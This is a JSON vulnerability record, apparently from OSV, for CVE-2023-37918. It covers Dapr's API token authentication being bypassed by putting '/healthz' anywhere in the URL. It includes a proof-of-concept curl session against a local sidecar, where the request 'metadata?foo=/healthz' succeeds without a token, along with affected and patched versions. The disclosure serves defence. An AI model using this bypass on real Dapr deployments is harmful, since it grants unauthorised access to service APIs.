{"id":"CVE-2023-37918","aliases":["GHSA-59m6-82qm-vqgj","GO-2023-1955"],"title":"Dapr API token authentication bypass in HTTP endpoints","summary":"Dapr API token authentication bypass in HTTP endpoints","severity":"medium","cvss":6.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N","vendor":"dapr","product":"github.com/dapr/dapr","ecosystem":"go","affected":["github.com/dapr/dapr >= 1.11.0, < 1.11.2","github.com/dapr/dapr < 1.10.9"],"patched":["github.com/dapr/dapr 1.11.2","github.com/dapr/dapr 1.10.9"],"published":"2023-07-21","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:54.328619840Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-59m6-82qm-vqgj","references":[{"url":"https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37918"},{"url":"https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a"},{"url":"https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae"},{"url":"https://docs.dapr.io/operations/security/api-token"},{"url":"https://github.com/dapr/dapr"}],"tags":["osv","go"],"epss":0.01385,"epssPercentile":0.7104,"ingestedAt":"2026-09-12T03:13:01.755Z","slug":"CVE-2023-37918","body":"## Overview\n\n### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 401 Unauthorized\n< Date: Mon, 17 Jul 2023 18:13:13 GMT\n< Content-Type: text/plain; charset=utf-8\n< Content-Length: 17\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n> dapr-api-token: mytoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:26 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata?foo=/healthz HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:44 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n## Affected packages\n\n- `github.com/dapr/dapr >= 1.11.0, < 1.11.2`\n- `github.com/dapr/dapr < 1.10.9`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/dapr/dapr 1.11.2`\n- `github.com/dapr/dapr 1.10.9`","depth":"sunlit","depthScore":38,"depthScoreParts":{"impact":37.4,"likelihood":0.3,"exploitation":0,"ransomware":0},"changes":[]}